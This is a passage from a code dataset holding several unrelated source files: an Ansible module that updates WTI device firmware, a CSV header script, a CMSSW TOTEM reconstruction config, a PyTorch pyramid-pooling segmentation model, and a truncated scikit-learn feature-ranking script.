Upgrade the firmware of a WTI device and keep the download OS image after exit\n- name: Upgrade the firmware of a WTI device and keep the download OS image after exit\n cpm_firmware_update:\n cpm_url: \"nonexist.wti.com\"\n cpm_username: \"super\"\n cpm_password: \"super\"\n use_https: true\n validate_certs: false\n removefileonexit: \"0\"\n\"\"\"\n\nRETURN = \"\"\"\ndata:\n description: The output XML configuration of the WTI device being updated\n returned: always\n type: complex\n contains:\n filelength:\n description: Length of the file uploaded in bytes\n returned: success\n type: int\n sample:\n - filelength: 329439\n status:\n description: List of status returns from backup operation\n returned: success\n type: list\n sample:\n - code: 0\n - text: \"ok\"\n - unittimestamp: \"2020-02-14T00:18:57+00:00\"\n\"\"\"\n\nimport base64\nimport os\nimport json\nimport tempfile\nimport traceback\nimport shutil\nimport requests\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils._text import to_text, to_bytes, to_native\nfrom ansible.module_utils.six.moves.urllib.error import HTTPError, URLError\nfrom ansible.module_utils.urls import open_url, ConnectionError, SSLValidationError\nfrom ansible.module_utils.urls import fetch_url, url_argument_spec\n\n\ndef run_module():\n # define the available arguments/parameters that a user can pass to the module\n module_args = dict(\n cpm_url=dict(type='str', required=True),\n cpm_username=dict(type='str', required=True),\n cpm_password=dict(type='str', required=True, no_log=True),\n cpm_path=dict(type='str', default=\"/tmp/\"),\n cpm_file=dict(type='str', default=None),\n family=dict(type='int', default=1, choices=[0, 1]),\n removefileonexit=dict(type='int', default=1, choices=[0, 1]),\n use_force=dict(type='bool', default=False),\n use_https=dict(type='bool', default=True),\n validate_certs=dict(type='bool', default=True),\n use_proxy=dict(type='bool', default=False)\n )\n\n result = dict(\n changed=False,\n data=''\n )\n\n family = None\n online_file_location = None\n usersuppliedfilename = None\n forceupgrade = False\n localfilefamily = -1\n\n module = AnsibleModule(argument_spec=module_args, supports_check_mode=True)\n\n if module.params['cpm_file'] is not None:\n usersuppliedfilename = (\"%s%s\" % (to_native(module.params['cpm_path']), to_native(module.params['cpm_file'])))\n\n if module.params['use_force'] is True:\n forceupgrade = True\n\n # if a local file was defined lets see what family it is: Console or Power\n if (usersuppliedfilename is not None):\n try:\n ifilesize = os.path.getsize(usersuppliedfilename)\n file = open(usersuppliedfilename, 'rb')\n file.seek(ifilesize - 20)\n fileread = file.read()\n if (fileread.find(b\"TSM\") >= 0):\n localfilefamily = 1\n elif (fileread.find(b\"VMR\") >= 0):\n localfilefamily = 0\n file.close()\n# print(\"User Supplied file [%s] is a %s type.\" %(usersuppliedfilename, (\"Console\" if localfilefamily == 1 else \"Power\")))\n except Exception as e:\n fail_json = dict(msg='FILE: User Supplied file {0} does not exist : {1}'.format(usersuppliedfilename, to_native(e)), changed=False)\n module.fail_json(**fail_json)\n\n auth = to_text(base64.b64encode(to_bytes('{0}:{1}'.format(to_native(module.params['cpm_username']), to_native(module.params['cpm_password'])),\n errors='surrogate_or_strict')))\n\n if module.params['use_https'] is True:\n protocol = \"https://\"\n else:\n protocol = \"http://\"\n\n # 1. Get the Version of the WTI device\n fullurl = (\"%s%s/api/v2/status/firmware\" % (protocol, to_native(module.params['cpm_url'])))\n method = 'GET'\n try:\n response = open_url(fullurl, data=None, method=method, validate_certs=module.params['validate_certs'], use_proxy=module.params['use_proxy'],\n headers={'Content-Type': 'application/json', 'Authorization': \"Basic %s\" % auth})\n\n except HTTPError as e:\n fail_json = dict(msg='GET: Received HTTP error for {0} : {1}'.format(fullurl, to_native(e)), changed=False)\n module.fail_json(**fail_json)\n except URLError as e:\n fail_json = dict(msg='GET: Failed lookup url for {0} : {1}'.format(fullurl, to_native(e)), changed=False)\n module.fail_json(**fail_json)\n except SSLValidationError as e:\n fail_json = dict(msg='GET: Error validating the server''s certificate for {0} : {1}'.format(fullurl, to_native(e)), changed=False)\n module.fail_json(**fail_json)\n except ConnectionError as e:\n fail_json = dict(msg='GET: Error connecting to {0} : {1}'.format(fullurl, to_native(e)), changed=False)\n module.fail_json(**fail_json)\n\n result['data'] = json.loads(response.read())\n statuscode = result['data'][\"status\"][\"code\"]\n\n local_release_version = result['data'][\"config\"][\"firmware\"]\n try:\n family = int(result['data'][\"config\"][\"family\"])\n except Exception as e:\n family = 1\n\n# print(\"Device reports Version: %s, Family: %s\\n\" % (local_release_version, (\"Console\" if family == 1 else \"Power\")))\n if (localfilefamily != -1):\n if (family != localfilefamily):\n fail_json = dict(msg='FAMILY MISMATCH: Your local file is a: %s type, the device is a %s type'\n % ((\"Console\" if localfilefamily == 1 else \"Power\"), (\"Console\" if family == 1 else \"Power\")), changed=False)\n module.fail_json(**fail_json)\n\n # 2. Go online and find the latest version of the os image for this device family\n if (localfilefamily == -1):\n fullurl = (\"https://my.wti.com/update/version.aspx?fam=%s\" % (family))\n\n method = 'GET'\n try:\n response = open_url(fullurl, data=None, method=method, validate_certs=module.params['validate_certs'], use_proxy=module.params['use_proxy'],\n headers={'Content-Type': 'application/json', 'Authorization': \"Basic %s\" % auth})\n\n except HTTPError as e:\n fail_json = dict(msg='GET: Received HTTP error for {0} : {1}'.format(fullurl, to_native(e)), changed=False)\n module.fail_json(**fail_json)\n except URLError as e:\n fail_json = dict(msg='GET: Failed lookup url for {0} : {1}'.format(fullurl, to_native(e)), changed=False)\n module.fail_json(**fail_json)\n except SSLValidationError as e:\n fail_json = dict(msg='GET: Error validating the server''s certificate for {0} : {1}'.format(fullurl, to_native(e)), changed=False)\n module.fail_json(**fail_json)\n except ConnectionError as e:\n fail_json = dict(msg='GET: Error connecting to {0} : {1}'.format(fullurl, to_native(e)), changed=False)\n module.fail_json(**fail_json)\n\n result['data'] = json.loads(response.read())\n remote_release_version = result['data'][\"config\"][\"firmware\"]\n\n if ((float(local_release_version) < 6.58) & (family == 1)) | ((float(local_release_version) < 2.15) & (family == 0)):\n fail_json = dict(msg='ERROR: WTI Device does not support remote upgrade', changed=False)\n module.fail_json(**fail_json)\n\n statuscode = result['data']['status']['code']\n else:\n remote_release_version = 0\n\n if (int(statuscode) == 0):\n local_filename = None\n if ((float(local_release_version) < float(remote_release_version)) or (forceupgrade == 1)) or (localfilefamily >= 0):\n if (module.check_mode is False):\n if (localfilefamily == -1):\n online_file_location = result['data'][\"config\"][\"imageurl\"]\n\n local_filename = online_file_location[online_file_location.rfind(\"/\") + 1:]\n local_filename = tempfile.gettempdir() + \"/\" + local_filename\n\n response = requests.get(online_file_location, stream=True)\n handle = open(local_filename, \"wb\")\n for chunk in response.iter_content(chunk_size=512):\n if chunk: # filter out keep-alive new chunks\n handle.write(chunk)\n handle.close()\n else:\n if (family == localfilefamily):\n local_filename = usersuppliedfilename\n else:\n print(\"FAMILY MISMATCH: Your local file is a %s type, and the device is a %s type\\n\\n\"\n % ((\"Console\" if localfilefamily == 1 else \"Power\"), (\"Console\" if family == 1 else \"Power\")))\n exit(3)\n # SEND the file to the WTI device\n # 3. upload new os image to WTI device\n fullurl = (\"%s%s/cgi-bin/getfile\" % (protocol, to_native(module.params['cpm_url'])))\n files = {'file': ('name.binary', open(local_filename, 'rb'), 'application/octet-stream')}\n\n try:\n response = requests.post(fullurl, files=files, auth=(to_native(module.params['cpm_username']),\n to_native(module.params['cpm_password'])), verify=(module.params['validate_certs']), stream=True)\n result['data'] = response.json()\n\n if (response.status_code == 200):\n if (int(result['data']['status']['code']) == 0):\n result['changed'] = True\n else:\n fail_json = dict(msg='FAIL: Upgrade Failed for {0}'.format(fullurl), changed=False)\n module.fail_json(**fail_json)\n\n except requests.exceptions.RequestException as e: # This is the correct syntax\n fail_json = dict(msg='GET: Received HTTP error for {0} : {1}'.format(fullurl, to_native(e)), changed=False)\n module.fail_json(**fail_json)\n\n # only remove if the file was downloaded\n if (localfilefamily == -1):\n if (int(module.params['removefileonexit']) == 1):\n os.remove(local_filename)\n else:\n result['data'] = \"{ \\\"filelength\\\": \\\"0\\\", \\\"status\\\": { \\\"code\\\": \\\"1\\\", \\\"text\\\": \\\"device up to date\\\" } }\"\n else:\n result['data'] = \"{ \\\"filelength\\\": \\\"0\\\", \\\"status\\\": { \\\"code\\\": \\\"2\\\", \\\"text\\\": \\\"device bad family code: %s\\\" } }\" % (family)\n\n module.exit_json(**result)\n\n\ndef main():\n run_module()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"wti/remote/plugins/lookup/cpm_firmware_update.py","file_name":"cpm_firmware_update.py","file_ext":"py","file_size_in_byte":14236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"384957759","text":"import csv\n\ninput_file = \"ELC_40phon.csv\"\noutput_file = \"ELC_40phon_header.csv\"\n\nwith open(input_file, 'r', newline='') as csv_in_file:\n with open(output_file, 'w', newline='') as csv_out_file:\n reader = csv.reader(csv_in_file)\n writer = csv.writer(csv_out_file)\n header_list = ['x', 'y']\n writer.writerow(header_list)\n\n for row in reader:\n writer.writerow(row)","sub_path":"LLC/addheader.py","file_name":"addheader.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"637867773","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"NonParallelTrackFinderTest\")\n\n\nprocess.maxEvents = cms.untracked.PSet(\n input = cms.untracked.int32(-1)\n# input = cms.untracked.int32(100)\n)\n\n\n# minimum of logs\nprocess.load(\"Configuration.TotemCommon.LoggerMin_cfi\")\n#process.load(\"Configuration.TotemCommon.LoggerMax_cfi\")\n\n\nprocess.RandomNumberGeneratorService = cms.Service(\"RandomNumberGeneratorService\", \n moduleSeeds = cms.PSet( \n T2Digis = cms.untracked.uint32(14142)\n ),\n sourceSeed = cms.untracked.uint32(173205) \n)\n\n\nprocess.load(\"Configuration/TotemOpticsConfiguration/OpticsConfig_3500GeV_1p5_120urad_thin_cfi\")\n\n\nprocess.TotemRPIncludeAlignments = cms.ESProducer(\"TotemRPIncludeAlignments\",\n RealFiles = cms.vstring('TotemAlignment/RPData/LHC/2011_05_18/sr+hsx/45_220.xml', \n 'TotemAlignment/RPData/LHC/2011_05_18/sr+hsx/56_220.xml'),\n MisalignedFiles = cms.vstring(), MeasuredFiles = cms.vstring()\n)\n\n\nprocess.load('TotemRawData.Readers.RawDataSource_cfi')\nprocess.source.verbosity = 1\nprocess.source.printProgressFrequency = 0\n\nprocess.source.fileNames = cms.untracked.vstring()\nprocess.source.fileNames.append('/castor/cern.ch/totem/LHCRawData/2011/Physics/run_5601.000.vmea')\n\n\n# raw to digi conversion\nprocess.load('TotemCondFormats/DAQInformation/DAQMappingSourceXML_cfi')\nprocess.DAQMappingSourceXML.mappingFileNames.append('TotemCondFormats/DAQInformation/data/rp_220.xml')\nprocess.DAQMappingSourceXML.mappingFileNames.append('TotemCondFormats/DAQInformation/data/rp_147.xml')\nprocess.DAQMappingSourceXML.mappingFileNames.append('TotemCondFormats/DAQInformation/data/t1_all_run1.xml')\nprocess.DAQMappingSourceXML.mappingFileNames.append('TotemCondFormats/DAQInformation/data/t2_4quarters.xml')\n\n\nprocess.load('TotemRawData.RawToDigi.Raw2DigiProducer_cfi')\n\n# clusterization\nprocess.load(\"RecoTotemRP.RPClusterSigmaService.ClusterSigmaServiceConf_cfi\")\nprocess.load(\"RecoTotemRP.RPClusterizer.RPClusterizationConf_cfi\")\n\n# reco hit production\nprocess.load(\"RecoTotemRP.RPRecoHitProducer.RPRecoHitProdConf_cfi\")\n\n\n# geometry\nprocess.load(\"Configuration/TotemCommon/geometryGlobal_real_cfi\")\ntoberemoved = []\nfor xmlfile in process.XMLIdealGeometryESSource.geomXMLFiles:\n if xmlfile.endswith(\"RP_Dist_Beam_Cent.xml\"):\n toberemoved.append(xmlfile)\nfor xmlfile in toberemoved:\n process.XMLIdealGeometryESSource.geomXMLFiles.remove(xmlfile)\nprocess.XMLIdealGeometryESSource.geomXMLFiles.append(\"Geometry/TotemRPData/data/2011_05_18/RP_Dist_Beam_Cent.xml\")\nprocess.TotemRPGeometryESModule = cms.ESProducer(\"TotemRPGeometryESModule\")\n\n# track search/pattern recognition\nprocess.load(\"RecoTotemRP.RPNonParallelTrackCandidateFinder.RPNonParallelTrackCandidateFinder_cfi\")\nprocess.NonParallelTrackFinder.verbosity = 0\nprocess.NonParallelTrackFinder.maxHitsPerPlaneToSearch = 4\n\n# track fitting\nprocess.load(\"RecoTotemRP.RPTrackCandidateCollectionFitter.RPSingleTrackCandCollFitted_cfi\")\nprocess.RPSingleTrackCandCollFit.Verbosity = 0\n\nprocess.load(\"RecoTotemRP.RPInelasticReconstruction.Rec_3500GeV_beta_1p5_120urad_220_2Arm_cfi\")\nprocess.RP2202ArmReconst.BeamProtTransportSetup = process.BeamProtTransportSetup\nprocess.RP2202ArmReconst.ExpectedRPResolution = 0.020 #mm\nprocess.RP2202ArmReconst.Verbosity = 0\n\nprocess.load(\"RecoTotemRP.RPInelasticReconstruction.Rec_3500GeV_beta_1p5_120urad_220_cfi\")\nprocess.RP220Reconst.BeamProtTransportSetup = process.BeamProtTransportSetup\nprocess.RP220Reconst.ExpectedRPResolution = 0.020 #mm\nprocess.RP220Reconst.Verbosity = 0\nprocess.RP220Reconst.ElasticScatteringReconstruction = False\n\nprocess.TriggerBits = cms.EDProducer(\"RPTriggerBitsProducer\",\n verbose = cms.bool(False)\n)\n\nprocess.load('L1TriggerTotem.CoincidenceChip.RPCoincidenceProducer_cfi')\n#process.load(\"TotemRawData.RawToDigi.RPDataCCProducer_cfi\")\n\n\nprocess.load(\"RecoTotemRP.RPMulCandidateTrackFinder.RPMulTrackCandFindConf_cfi\")\nprocess.load(\"RecoTotemRP.RPMulTrackCandidateCollectionFitter.RPMulTrackCandCollFitter_cfi\")\n\n\n# T2 ##############\n#Fill T2 digi and vfat object\n#process.RawToDigi = cms.EDProducer(\"T2XMLDataDigiProducer\",\n# verbosity = cms.untracked.uint32(0), #was 10\n# discardHighOccupancyVfatverbosity= cms.untracked.bool(False)#IMPORTANT\n#)\n\n\nprocess.load(\"SimTotem.T2Digitizer.T2Digis_TuneG_5525_5535_May2011Effi_Internal_GlobalMisalBBConf_cfi\")\nprocess.T2Digis.saveDigiVFAT=cms.bool(True) #False DEF\n\n\nprocess.load(\"RecoTotemT1T2.T2MakeCluster.T2MakeCluster_cfi\")\nprocess.T2MCl.TakeCleanEventOnly=cms.bool(False) #IMPORTANT\nprocess.load(\"RecoTotemT1T2.T2RecHit.T2RecHit_cfi\")\nprocess.T2Hits.Cl1MaxPad = cms.uint32(25) #Tune better\nprocess.T2Hits.Cl1MaxStrip = cms.uint32(25)\nprocess.T2Hits.IncludeClass0Hits = True\nprocess.T2Hits.inputFileNameMisal=cms.untracked.string('SimTotem/T2Digitizer/data/run_5525-5535_IntAlignHX50000Evt_XovY0.3HIP_ANDGLOB_BBConf.dat')\n\nprocess.T2Hits.useTXTfile=cms.bool(True) #True for data\nprocess.T2Hits.InsertAlignmentbyCFG=cms.bool(True) # True for data \nprocess.T2Hits.verbosity=cms.untracked.bool(False)\nprocess.T2Hits.CorrectWithResolution=cms.bool(True) #False:Old Strategy\n\n\nprocess.load(\"RecoTotemT1T2.T2RoadPadFinder.NewLabelT2RoadPadFinder_cfi\")\nprocess.T2RoadPadFinder.HitLabel=cms.string(\"T2Hits\")\nprocess.T2RoadPadFinder.CluLabel=cms.string(\"T2MCl\")\nprocess.T2RoadPadFinder.verbosity = 0\nprocess.T2RoadPadFinder.TwoPointsTubesAngularCollinearity=0.07\nprocess.T2RoadPadFinder.MinCluSize_considered_asBlobs = cms.int32(5)\nprocess.T2RoadPadFinder.MinimumNumCl1Hit= 3\nprocess.T2RoadPadFinder.chi2XYProb_Thr= 0.01\nprocess.T2RoadPadFinder.Nmin_padsFinal= 4\nprocess.T2RoadPadFinder.T2RoadCollProdName=\"NewRoadFinderRELOAD\"\nprocess.T2RoadPadFinder.AllowsPadReAssociation=False\nprocess.T2RoadPadFinder.AllowsConcurrentBranches=False\nprocess.T2RoadPadFinder.useStraightPadTowers= cms.bool(True)#False\n\n#################################################################################################################\nprocess.T2RoadPadFinder.ResolveOverlapDoubleCount = cms.bool(True) #Default is True, False for shadow alignment\n#################################################################################################################\n\nprocess.T2RoadPadFinder.OverlapDoubleCountDR = cms.double(2.0) #Depend on your alignment Resol \nprocess.T2RoadPadFinder.OverlapDoubleCountDPhi =cms.double(3.5)\nprocess.T2RoadPadFinder.OverlapDoubleCountDTheta = cms.double(0.01)\n\nprocess.T2RoadPadFinder.QuartedSelected = cms.vint32(0,1,2,3)\nprocess.T2RoadPadFinder.BiggestTubeAngleConsidered =cms.double(0.3)\nprocess.T2RoadPadFinder.NumSigma= cms.double(2.)\nprocess.T2RoadPadFinder.NumPadCluOccupancyAlert= cms.double(50.)\nprocess.T2RoadPadFinder.InefficiencyMaxJump= cms.int32(3)#2 is default\n\n\nprocess.load(\"RecoTotemT1T2.T2TrackProducer3.T2TrackColl3_cfi\")\nprocess.T2TrackColl3.StripFitting=cms.bool(False)\nprocess.T2TrackColl3.RoadModuleLabel=\"T2RoadPadFinder\"\nprocess.T2TrackColl3.RoadInstanceLabel=\"NewRoadFinderRELOAD\"\nprocess.T2TrackColl3.verbosity=False\nprocess.T2TrackColl3.RemoveOutliers=True\n\n\n\nprocess.p = cms.Path(\n process.Raw2DigiProducer \n * process.TriggerBits \n * process.RPCC \n * process.RPClustProd \n * process.RPHecoHitProd \n * process.NonParallelTrackFinder \n * process.RPSingleTrackCandCollFit\n * process.RP220Reconst\n * process.RP2202ArmReconst\n * process.RPMulTrackCandFind\n * process.RPMulTrackCandCollFit\n * process.T2MCl\n * process.T2Hits\n * process.T2RoadPadFinder\n * process.T2TrackColl3\n)\n\n# store desired results\nprocess.output = cms.OutputModule(\"PoolOutputModule\",\n fileName = cms.untracked.string(\"file:output.root\"),\n outputCommands = cms.untracked.vstring(\n 'keep *'\n )\n)\n\nprocess.outpath = cms.EndPath(process.output)\n\n","sub_path":"CMSSW_7_0_4/src/RecoTotemRP/RPNonParallelTrackCandidateFinder/test/real_data_test.py","file_name":"real_data_test.py","file_ext":"py","file_size_in_byte":7851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"320407094","text":"###########################################################################\n# Created by: Hang Zhang\n# Email: zhang.hang@rutgers.edu\n# Copyright (c) 2017\n###########################################################################\nfrom __future__ import division\n\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\nfrom torch.nn import Module, Sequential, Conv2d, ReLU, AdaptiveAvgPool2d, BCELoss, CrossEntropyLoss\nfrom torch.nn.functional import upsample\n\nfrom .base import BaseNet\nfrom .fcn import FCNHead\n# from ..nn import PyramidPooling\n\nclass new_psp2(BaseNet):\n def __init__(self, nclass, backbone, aux=True, se_loss=False, norm_layer=nn.BatchNorm2d, **kwargs):\n super(new_psp2, self).__init__(nclass, backbone, aux, se_loss, norm_layer=norm_layer, **kwargs)\n self.head = new_psp2Head(2048, nclass, norm_layer, se_loss, self._up_kwargs)\n if aux:\n self.auxlayer = FCNHead(1024, nclass, norm_layer)\n\n def forward(self, x):\n _, _, h, w = x.size()\n _, _, c3, c4 = self.base_forward(x)\n\n x = list(self.head(c4))\n x[0] = F.interpolate(x[0], (h, w), **self._up_kwargs)\n # x[1] = F.interpolate(x[1], (h, w), **self._up_kwargs)\n\n if self.aux:\n auxout = self.auxlayer(c3)\n auxout = F.interpolate(auxout, (h, w), **self._up_kwargs)\n x.append(auxout)\n return tuple(x)\n\n\nclass new_psp2Head(nn.Module):\n def __init__(self, in_channels, out_channels, norm_layer, se_loss, up_kwargs):\n super(new_psp2Head, self).__init__()\n inter_channels = in_channels // 4\n self.conv5 = PyramidPooling(in_channels, inter_channels, norm_layer, up_kwargs)\n self.conv6 = nn.Sequential(nn.Dropout2d(0.1), nn.Conv2d(inter_channels, out_channels, 1))\n\n\n def forward(self, x):\n outputs = [self.conv6(self.conv5(x))]\n return tuple(outputs)\n\ndef get_new_psp2(dataset='pascal_voc', backbone='resnet50', pretrained=False,\n root='~/.encoding/models', **kwargs):\n acronyms = {\n 'pascal_voc': 'voc',\n 'pascal_aug': 'voc',\n 'ade20k': 'ade',\n }\n # infer number of classes\n from ..datasets import datasets\n model = new_psp2(datasets[dataset.lower()].NUM_CLASS, backbone=backbone, root=root, **kwargs)\n if pretrained:\n from .model_store import get_model_file\n model.load_state_dict(torch.load(\n get_model_file('new_psp2_%s_%s'%(backbone, acronyms[dataset]), root=root)))\n return model\n\ndef get_new_psp2_resnet50_ade(pretrained=False, root='~/.encoding/models', **kwargs):\n r\"\"\"new_psp2 model from the paper `\"Context Encoding for Semantic Segmentation\"\n `_\n\n Parameters\n ----------\n pretrained : bool, default False\n Whether to load the pretrained weights for model.\n root : str, default '~/.encoding/models'\n Location for keeping the model parameters.\n\n\n Examples\n --------\n >>> model = get_new_psp2_resnet50_ade(pretrained=True)\n >>> print(model)\n \"\"\"\n return get_new_psp2('ade20k', 'resnet50', pretrained, root=root, **kwargs)\n\nclass PyramidPooling(Module):\n \"\"\"\n Reference:\n Zhao, Hengshuang, et al. *\"Pyramid scene parsing network.\"*\n \"\"\"\n def __init__(self, in_channels, out_channels, norm_layer, up_kwargs):\n super(PyramidPooling, self).__init__()\n self.pool1 = AdaptiveAvgPool2d(1)\n self.pool2 = AdaptiveAvgPool2d(2)\n self.pool3 = AdaptiveAvgPool2d(3)\n self.pool4 = AdaptiveAvgPool2d(6)\n\n # out_channels = int(in_channels/4)\n self.conv0 = Sequential(Conv2d(in_channels, out_channels, 1, bias=False),\n norm_layer(out_channels),\n ReLU(True))\n self.conv1 = Sequential(Conv2d(in_channels, out_channels, 1, bias=False),\n norm_layer(out_channels),\n ReLU(True))\n self.conv2 = Sequential(Conv2d(in_channels, out_channels, 1, bias=False),\n norm_layer(out_channels),\n ReLU(True))\n self.conv3 = Sequential(Conv2d(in_channels, out_channels, 1, bias=False),\n norm_layer(out_channels),\n ReLU(True))\n\n self.conv4 = Sequential(Conv2d(in_channels, out_channels, 1, bias=False),\n norm_layer(out_channels),\n ReLU(True))\n\n # bilinear upsample options\n self._up_kwargs = up_kwargs\n\n self.psaa_conv = nn.Sequential(nn.Conv2d(in_channels+5*out_channels, out_channels, 1, padding=0, bias=False),\n norm_layer(out_channels),\n nn.ReLU(True),\n nn.Conv2d(out_channels, 5, 1, bias=True))\n self.project = nn.Sequential(nn.Conv2d(in_channels=5*out_channels, out_channels=out_channels,\n kernel_size=3, stride=1, padding=1, bias=False),\n norm_layer(out_channels),\n nn.ReLU(True))\n # self.project = nn.Sequential(nn.Conv2d(in_channels=5*out_channels, out_channels=out_channels,\n # kernel_size=1, stride=1, padding=0, bias=False),\n # norm_layer(out_channels),\n # nn.ReLU(True))\n\n def forward(self, x):\n _, _, h, w = x.size()\n feat0 = F.upsample(self.conv0(self.pool1(x)), (h, w), **self._up_kwargs)\n feat1 = F.upsample(self.conv1(self.pool2(x)), (h, w), **self._up_kwargs)\n feat2 = F.upsample(self.conv2(self.pool3(x)), (h, w), **self._up_kwargs)\n feat3 = F.upsample(self.conv3(self.pool4(x)), (h, w), **self._up_kwargs)\n feat4 = self.conv4(x)\n\n # psaa\n y1 = torch.cat((feat0, feat1, feat2, feat3, feat4), 1)\n y = torch.stack((feat0, feat1, feat2, feat3, feat4), dim=-1)\n psaa_feat = self.psaa_conv(torch.cat([x,y1], dim=1))\n psaa_att = torch.sigmoid(psaa_feat)\n psaa_att_list = torch.split(psaa_att, 1, dim=1)\n\n y2 = torch.cat((psaa_att_list[0]*feat0, psaa_att_list[1]*feat1, psaa_att_list[2]*feat2, psaa_att_list[3]*feat3, psaa_att_list[4]*feat4), 1)\n out = self.project(y2)\n return out\n\n\n","sub_path":"encoding/models/new_psp2.py","file_name":"new_psp2.py","file_ext":"py","file_size_in_byte":6355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"75407209","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 5 20:29:06 2021\n\n@author: mainswo3\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom xgboost import XGBClassifier\nfrom sklearn.feature_selection import SelectFromModel\nfrom matplotlib.lines import Line2D\nfrom sklearn.metrics import confusion_matrix, classification_report\nfrom sklearn.metrics import roc_curve, roc_auc_score\nfrom sklearn.metrics import auc\nfrom sklearn.metrics import precision_recall_curve\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import make_pipeline\nimport pickle\nimport sys\n\nsys.path.insert(\n 0,\n \"S:\\Dehydration_stroke\\Team Emerald\\Working GitHub Directories\\Michael\\stroke-hemodynamics\\Aim 2\\Models\",\n)\nimport Classifiers\n\n\ndef print_metrics(y_test, predictions):\n \"\"\"\n Print our confusion matrix and evaluation stats given y_test and model \n predictions.\n \"\"\"\n print(confusion_matrix(y_test, predictions))\n print(classification_report(y_test, predictions))\n\n\ndef get_auc_pr(y_test, raw_predictions):\n \"\"\"\n Given predictions made by model and the actual labels, return metrics\n needed to calculate roc and precision recall curves.\n \"\"\"\n fpr, tpr, roc_thresholds = roc_curve(y_test_p, raw_predictions[:, 1])\n auc_values = roc_auc_score(y_test, raw_predictions[:, 1])\n precisions, recalls, _ = precision_recall_curve(y_test, raw_predictions[:, 1])\n pr_auc_values = auc(recalls, precisions)\n return auc_values, pr_auc_values, fpr, tpr, roc_thresholds, recalls, precisions\n\n\ndef optimal_points(fpr, tpr, raw_predictions, roc_thresholds):\n \"\"\"\n Using precision recall metrics, determine the optimal operating point \n predictions and threshold.\n \"\"\"\n min_dist = np.inf\n threshold = 0\n for i in range(len(fpr)):\n dist = np.sqrt((1 - tpr[i]) ** 2 + fpr[i] ** 2)\n if dist < min_dist:\n min_dist = dist\n threshold = roc_thresholds[i]\n optimal_preds = np.where(raw_predictions[:, 1] < threshold, 0, 1)\n return optimal_preds, threshold\n\n\ndef getCat(x):\n \"\"\"\n Categorization for feature ranking functions\n \"\"\"\n if \"orientation\" in x:\n return \"orientation\"\n elif \"conciousness\" in x:\n return \"conciousness\"\n elif \"ampac\" in x:\n return \"ampac\"\n elif \"pulse\" in x:\n return \"pulse\"\n elif \"temp\" in x:\n return \"temp\"\n elif \"glasgow\" in x:\n return \"glasgow\"\n elif \"iv\" in x:\n return \"iv\"\n else:\n return \"other\"\n\n\ndef featureRankGLM(X_train_p, X_train_df, y_train):\n \"\"\"\n Perform feature ranking using a GLM. Figure will be generated depicting the\n top 20 scoring features. Returns variable to create new feature space and \n variables to edit figure.\n \n # source: kaggle.com user: dkim1992\n \"\"\"\n clf = LogisticRegression(penalty=\"l1\", C=0.1, solver=\"liblinear\", max_iter=200)\n clf.fit(X_train_p, y_train)\n\n num_features = X_train_df.shape[1]\n zero_feat = []\n nonzero_feat = []\n for i in range(num_features):\n coef = clf.coef_[0, i]\n if coef == 0:\n zero_feat.append(X_train_df.columns[i])\n else:\n nonzero_feat.append((coef, X_train_df.columns[i]))\n\n nznew = sorted(nonzero_feat, reverse=True)\n\n target = nznew[:20]\n glm_coefs = pd.DataFrame(data=target, columns=[\"val\", \"feat\"])\n glm_coefs = glm_coefs.iloc[glm_coefs[\"val\"].abs().argsort()].iloc[::-1]\n glm_coefs[\"cat\"] = glm_coefs[\"feat\"].apply(lambda x: getCat(x))\n\n colors = {\n \"orientation\": \"tab:blue\",\n \"conciousness\": \"tab:orange\",\n \"ampac\": \"tab:green\",\n \"pulse\": \"tab:olive\",\n \"temp\": \"tab:purple\",\n \"glasgow\": \"tab:red\",\n \"iv\": \"tab:brown\",\n \"other\": \"pink\",\n }\n\n fig = plt.figure()\n ax = plt.subplot(111)\n ax.bar(\n data=glm_coefs,\n x=range(20),\n height=\"val\",\n color=[colors[x] for x in glm_coefs.head(20)[\"cat\"].tolist()],\n )\n lines = [\n \"orientation\",\n \"conciousness\",\n \"ampac\",\n \"pulse\",\n \"temp\",\n \"glasgow\",\n \"iv\",\n \"other\",\n ]\n custom_lines = [Line2D([0], [0], color=colors[x], lw=4) for x in lines]\n\n ax.legend(custom_lines, lines)\n\n plt.xlabel(\"Feature\", fontsize=18)\n plt.ylabel(\"GLM Coefficient\", fontsize=18)\n plt.xticks(fontsize=16)\n plt.yticks(fontsize=16)\n\n return nznew, fig, ax\n\n\ndef featureRankingRF(X_train_p, X_train_df, y_train):\n \"\"\"\n Perform feature ranking using a RF. Figure will be generated depicting the\n top 20 scoring features. Returns variable to create new feature space and \n variables to edit figure.\n \"\"\"\n feat_labels = X_train_df.columns\n\n clf = RandomForestClassifier(\n n_estimators=100,\n criterion=\"gini\",\n max_depth=None,\n min_samples_split=3,\n min_samples_leaf=1,\n max_features=2,\n )\n clf.fit(X_train_p, y_train_p)\n\n rf_features = []\n for feature in zip(feat_labels, clf.feature_importances_):\n rf_features.append(feature)\n\n new = sorted(rf_features, key=lambda x: x[1], reverse=True)\n\n target = new[:20]\n\n rf_coefs = pd.DataFrame(data=target, columns=[\"feat\", \"val\"])\n rf_coefs = rf_coefs.iloc[rf_coefs[\"val\"].abs().argsort()].iloc[::-1]\n rf_coefs[\"cat\"] = rf_coefs[\"feat\"].apply(lambda x: getCat(x))\n\n colors = {\n \"orientation\": \"tab:blue\",\n \"conciousness\": \"tab:orange\",\n \"ampac\": \"tab:green\",\n \"pulse\": \"tab:olive\",\n \"temp\": \"tab:purple\",\n \"glasgow\": \"tab:red\",\n \"iv\": \"tab:brown\",\n \"other\": \"pink\",\n }\n\n fig = plt.figure()\n ax 